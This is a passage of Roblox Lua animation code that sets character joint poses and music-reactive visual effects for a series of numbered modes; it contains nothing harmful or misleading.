0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 2.5 * SIN(SINE / 15) + MRANDOM(-20,20)), RAD(0 + MRANDOM(-20,20)), RAD(-10 + MRANDOM(-20,20))), 3 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(165), RAD(0), RAD(20))* RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(165 + MRANDOM(-20,20)), RAD(0 + MRANDOM(-20,20)), RAD(22 + MRANDOM(-20,20))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 39 then RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.25 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(16)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145+5*COS(SINE/12)), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, 0.5) * ANGLES(RAD(-15), RAD(12), RAD(43)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.25 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.25 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 40 then RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.25 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145), RAD(0), RAD(10))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(20), RAD(0), RAD(-10)) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.25 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.25 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 41 then RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(00.5*SIN(SINE/24), 0, 0 + 0.05 * COS(SINE / 24)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15), RAD(0), RAD(20)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(165), RAD(0), RAD(10)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, 0.5) * ANGLES(RAD(0), RAD(0), RAD(60)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 + 0.05*SIN(SINE/24), -1 - 0.05 * COS(SINE / 24), 0) * ANGLES(RAD(0), RAD(85), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1 + 0.05*SIN(SINE/24), -1 - 0.05 * COS(SINE / 24), 0) * ANGLES(RAD(0), RAD(-82), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 42 then RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 24)) * ANGLES(RAD(25), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(20), RAD(10), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(190), RAD(30), RAD(5)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.3, 0.5, -0.3) * ANGLES(RAD(25), RAD(-30), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1.1 - 0.05 * COS(SINE / 24), 0) * ANGLES(RAD(25), RAD(85), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1.1 - 0.05 * COS(SINE / 24), 0) * ANGLES(RAD(25), RAD(-78), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 43 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(math.random(1,15)/8+30), RAD(math.random(1,50)/8 + 5.5 * COS(SINE / 34)), RAD(0 + 5.5 * COS(SINE / 34))), 3 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(40-8 * COS(SINE / 24)), RAD(0), RAD(10 + 5.5 * COS(SINE / 34))) * RIGHTSHOULDERC0, 0.8 / Animation_Speed) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 5- 1 * COS(SINE / 21)) * ANGLES(RAD(40-5 * COS(SINE / 24)), RAD(0), RAD(0)), 0.8 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(40-8 * COS(SINE / 24)), RAD(0), RAD(-10 - 5.5 * COS(SINE / 34))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.1 * COS(SINE / 34), -0.01) * ANGLES(RAD(40-5 * COS(SINE / 24)), RAD(80), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 0.8 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.1 * COS(SINE / 34), -0.01) * ANGLES(RAD(40-5 * COS(SINE / 24)), RAD(-80), RAD(0)) * ANGLES(RAD(-4), RAD(0), RAD(0)), 0.8 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 44 then SIZE = 1 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0*SIZE, 0*SIZE, 0*SIZE) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0*SIZE, 0*SIZE, 0*SIZE + ((1*SIZE) - 1)) * ANGLES(RAD(20 + MRANDOM(-24,24)), RAD(0 + MRANDOM(-24,24)), RAD(0 + MRANDOM(-24,24))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5*SIZE, 0.5*SIZE, 0*SIZE) * ANGLES(RAD(180 + MRANDOM(-24,24)), RAD(0 + MRANDOM(-24,24)), RAD(-25 + MRANDOM(-24,24))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5*SIZE, 0.5*SIZE, 0*SIZE) * ANGLES(RAD(180 + MRANDOM(-24,24)), RAD(0 + MRANDOM(-24,24)), RAD(25 + MRANDOM(-24,24))) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1*SIZE, -1*SIZE, -0.01*SIZE) * ANGLES(RAD(0), RAD(85 + MRANDOM(-24,24)), RAD(0)) * ANGLES(RAD(-3), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1*SIZE, -1*SIZE, -0.01*SIZE) * ANGLES(RAD(0), RAD(-85 + MRANDOM(-24,24)), RAD(0)) * ANGLES(RAD(-3), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 45 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, -0.1, -0.1 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(15), RAD(0), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, sick.PlaybackLoudness / 600 + 0.025 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(0 - 7.5 * SIN(SINE / 12)), RAD(12 + 7.5 * SIN(SINE / 12))) * RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, sick.PlaybackLoudness / 600 + 0.025 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(0 + 7.5 * SIN(SINE / 12)), RAD(-12 - 7.5 * SIN(SINE / 12))) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(20), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(5), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * ANGLES(RAD(20), RAD(-10 - 2.5 * SIN(SINE / 10)), RAD(20 * COS(SINE / 10))), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 46 then if MRANDOM(1,10) == 1 then Neck.C0=Clerp(Torso.Neck.C0,NECKC0*ANGLES(RAD(23 + MRANDOM(-5,5)),RAD(MRANDOM(-5,5)),RAD(22 + MRANDOM(-5,5))),1) end if math.random(1,8) == 1 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(MRANDOM(-87498,12093847)), RAD(MRANDOM(-123456,3746525)), RAD(MRANDOM(-2134567876,98764356))), 0.15 / Animation_Speed) end if MRANDOM(1,10) == 1 then Neck.C0=Clerp(Torso.Neck.C0,NECKC0*ANGLES(RAD(23 + MRANDOM(-5,5)),RAD(MRANDOM(-5,5)),RAD(22 + MRANDOM(-5,5))),1) end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, sick.PlaybackLoudness/400 + 1 * COS(SINE / 18)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 2.5 * SIN(SINE / 12)), RAD(MRANDOM(-25,25)), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(MRANDOM(-25,25)), RAD(12)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(MRANDOM(-25,25)), RAD(-12)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(-17 + 9.4 * COS(sine / 26)), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -.5, -0.5) * ANGLES(RAD(-22 + 10.8 * COS(sine / 32)), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) snap = math.random(1,72) elseif mde == 47 then snap = math.random(1,6) if snap == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0*CF(0,0,0+((1)-1))*ANGLES(math.rad(math.random(-1000,1000)),math.rad(math.random(-1000,100)),math.rad(math.random(-1000,1000))),1/Animation_Speed) end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 2 + 1 * COS(SINE / 18)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * COS(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.5 + 0.1 * COS(SINE / 12), 0.2) * ANGLES(RAD(0), RAD(-25), RAD(25 + 8 * COS(SINE / 12))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.35, 0.5 + 0.1 * COS(SINE / 12), 0.2) * ANGLES(RAD(0), RAD(25), RAD(-25 - 8 * COS(SINE / 12))) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.65 - 0.2 * COS(SINE / 12), -0.35) * ANGLES(RAD(-25 + 6 * COS(SINE / 12)), RAD(80), RAD(0)) * ANGLES(RAD(2 * COS(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.2 * COS(SINE / 12), 0) * ANGLES(RAD(-5 + 2 * COS(SINE / 12)), RAD(-80), RAD(0)) * ANGLES(RAD(2 * COS(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 48 then RootCF=euler(-1.57,0,3.14) necko=CF(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) RightHip.C0=Clerp(RightHip.C0,CF(1,-1,0)*ANGLES(math.rad(0),math.rad(90),math.rad(0))*ANGLES(math.rad(0),math.rad(0),math.rad(-20+ 10 * math.cos(sine / 30))),.1) LeftHip.C0=Clerp(LeftHip.C0,CF(-1,-0.5,-0.5)*ANGLES(math.rad(0),math.rad(-90),math.rad(0))*ANGLES(math.rad(0),math.rad(0),math.rad(-20+ 10 * math.cos(sine / 30))),.1) RootJoint.C0=Clerp(RootJoint.C0,RootCF*CF(0,0,2-1 * math.cos(sine / 30))*ANGLES(math.rad(0),math.rad(0),math.rad(0)),.1) Torso.Neck.C0=Clerp(Torso.Neck.C0,necko*ANGLES(math.rad(0+5 * math.cos(sine / 30)),math.rad(0),math.rad(0)),.1) RightShoulder.C0=Clerp(RightShoulder.C0,CF(1.2,0.5,0)*ANGLES(math.rad(10- 10 * math.cos(sine / 30)),math.rad(50- 20 * math.cos(sine / 30)),math.rad(50+ 10 * math.cos(sine / 30))),.1) LeftShoulder.C0=Clerp(LeftShoulder.C0,CF(-1.5,0.5,0)*ANGLES(math.rad(10- 10 * math.cos(sine / 30)),math.rad(20),math.rad(-50- 10 * math.cos(sine / 30))),.1) elseif mde == 49 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0 - 0.05 * COS(SINE / 15) + 0.05 * SIN(SINE / 15), 0, 0 + 0.05 * COS(SINE / 20)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.8 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 3 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.4, 0.35, 0.4) * ANGLES(RAD(135), RAD(0), RAD(3)) * ANGLES(RAD(0 - 1.5 * COS(SINE / 15) + 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.4, 0.35, 0.4) * ANGLES(RAD(15), RAD(0), RAD(12)) * ANGLES(RAD(0 - 1.5 * COS(SINE / 15) + 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1 - 0.05 * COS(SINE / 15) + 0.05 * SIN(SINE / 15), -1 - 0.05 * COS(SINE / 20), -0.01) * ANGLES(RAD(0), RAD(83), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.8 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1- 0.2 * COS(SINE / 12) , 0) * ANGLES(RAD(0), RAD(-75), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 50 then RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 1.5 + 0.5 * COS(Sine / 32)) * ANGLES(RAD(0), RAD(0), RAD(10)), 0.4 / 3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(7 + 6.5 * SIN(Sine / 24)), RAD(10*SIN(Sine/24)), RAD(6*SIN(Sine/24))), 0.5 / 3) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5,0.5,0) * ANGLES(RAD(120 + 6.5 * SIN(Sine / 34)), RAD(5*SIN(Sine/34)), RAD(10 * SIN(Sine / 34))) * ANGLES(RAD(5), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.5 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(1), RAD(0), RAD(22)) * LEFTSHOULDERC0, 0.4 / 3) RightHip.C0 = Clerp(RightHip.C0,CF(1,-0.4,-0.5)*ANGLES(RAD(0 + 6.5 * SIN(Sine/12)),RAD(90),RAD(40*SIN(Sine/34)))*ANGLES(RAD(-3),RAD(0 - 1 * COS(Sine / 36)),RAD(-10 - 2 * COS(Sine / 39))),0.2) LeftHip.C0 = Clerp(LeftHip.C0,CF(-1,-1,0)*ANGLES(RAD(10 + 4.6 * SIN(Sine/12)),RAD(-90),RAD(20*SIN(Sine/34)))*ANGLES(RAD(-3),RAD(0 - 1 * COS(Sine / 36)),RAD(10 + 6 * COS(Sine / 31))),0.2) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 51 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.1 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 - 0.1 * COS(SINE / 3) + ((1) - 1)) * ANGLES(RAD(30 - 2.5 * SIN(SINE / 12)), RAD(7 * COS(SINE / 24)), RAD(0)), 0.5 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.25, 0.5, 0.5) * ANGLES(RAD(-35), RAD(-25 + 2.5 * SIN(SINE / 12)), RAD(-55 + 2.5 * SIN(SINE / 12))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 + 0.35 * SIN(SINE / 12), 0) * ANGLES(RAD(0), RAD(0), RAD(-10 + 15 * COS(SINE / 12))) * ANGLES(RAD(0), RAD(15), RAD(0)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(-3), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(-3), RAD(0), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 52 then bouncyboi = sick.PlaybackLoudness / 1200 RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 2 + 0.5 * COS(SINE / 12) + bouncyboi) * ANGLES(RAD(-60 + 2.5 * SIN(SINE / 12)), RAD(0), RAD(5 + 1 * SIN(SINE / 12))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0 + 4.5 * SIN(SINE / 12)), RAD(0), RAD(-5 - 2.5 * SIN(SINE / 12))), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.15, 0.50 + 0.05 * COS(SINE / 99), 0.4) * ANGLES(RAD(-43), RAD(0 - 2.5 * SIN(SINE / 99)), RAD(-45 + 7.5 * SIN(SINE / 99))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.15, 0.50 + 0.05 * COS(SINE / 99), 0.4) * ANGLES(RAD(-43), RAD(0 + 2.5 * SIN(SINE / 99)), RAD(45 - 7.5 * SIN(SINE / 99))) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.15 * COS(SINE / 12) - bouncyboi, -0.05) * ANGLES(RAD(35 - 7.5 * SIN(SINE / 12)), RAD(75), RAD(0)) * ANGLES(RAD(-8 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.15 * COS(SINE / 12) - bouncyboi, -0.05) * ANGLES(RAD(35 - 7.5 * SIN(SINE / 12)), RAD(-90), RAD(0)) * ANGLES(RAD(-8 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 1 / Animation_Speed) elseif mde == 53 then local M = {C=math.cos,R=math.rad,S=math.sin,P=math.pi,RNG=math.random,MRS=math.randomseed,H=math.huge,RRNG = function(min,max,div) return math.rad(math.random(min,max)/(div or 1)) end} WACKYEFFECT({Time = 50, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = .5, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0+5*math.sin(sine/12),0+2*math.sin(sine/32),0+5*math.cos(sine/12)), MoveToPos = nil, RotationX = nil, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 50, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = .5, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0+7*math.sin(sine/5),0+2*math.sin(sine/12),0+7*math.cos(sine/5)), MoveToPos = nil, RotationX = nil, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 50, EffectType = "Block", Size = VT(3,3,3)/3, Size2 = VT(1,1,1)/3, Transparency = .5, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0+9*math.sin(sine/55),0+2*math.sin(sine/75),0+9*math.cos(sine/55)), MoveToPos = nil, RotationX = nil, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1 + 0.1 * COS(SINE / 20)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 4.5 * SIN(sine / 20)), RAD(15 - 4.5 * SIN(sine / 20)), RAD(5 - 20 * SIN(sine / 20))), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(.75, 0.5 + 0.1 * SIN(sine / 20)*1, -0.6*1) * ANGLES(RAD(0), RAD(0), RAD(-85)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.3136189, 0.462844551+.1*M.C(sine/32), 0) * ANGLES(RAD(-200), RAD(0+20*SIN(sine/1)), RAD(30+15*SIN(sine/.9))) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.9 - 0.1 * COS(sine / 20)*1, 0) * ANGLES(RAD(0), RAD(60), RAD(0)) * ANGLES(RAD(-6.5), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -0.9 - 0.1 * COS(sine / 20)*1, 0) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(-6.5), RAD(0), RAD(0)), 1 / Animation_Speed) elseif mde == 54 then sphereMK(2,math.random(20,30)/35,"Add",RootPart.CFrame*CFrame.new(math.random(-11,11),-10,math.random(-8,8))*CFrame.Angles(math.rad(90 + math.random(-20,20)),math.rad(math.random(-20,20)),math.rad(math.random(-20,20))),0.40,0.40,5.35,0,BrickColor.new("Institutional white"),0) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.075 * COS(SINE / 12)) * ANGLES(RAD(-10), RAD(0), RAD(-10)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-30 - 2.5 * COS(SINE / 12)), RAD(0), RAD(40)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5 + 0.1 * COS(SINE / 12), 0) * ANGLES(RAD(-10 + 2.5 * COS(SINE / 12)), RAD(10 - 3 * COS(SINE / 12)), RAD(0 - 2.5 * COS(SINE / 12))) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0.15 - 0.1 * COS(SINE / 12)) * ANGLES(RAD(-15 + 2.5 * COS(SINE / 12)), RAD(5), RAD(-5)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.075 * COS(SINE / 12), 0.1) * ANGLES(RAD(-15), RAD(80), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.075 * COS(SINE / 12), 0.1) * ANGLES(RAD(-10), RAD(-70), RAD(0)), 1 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * 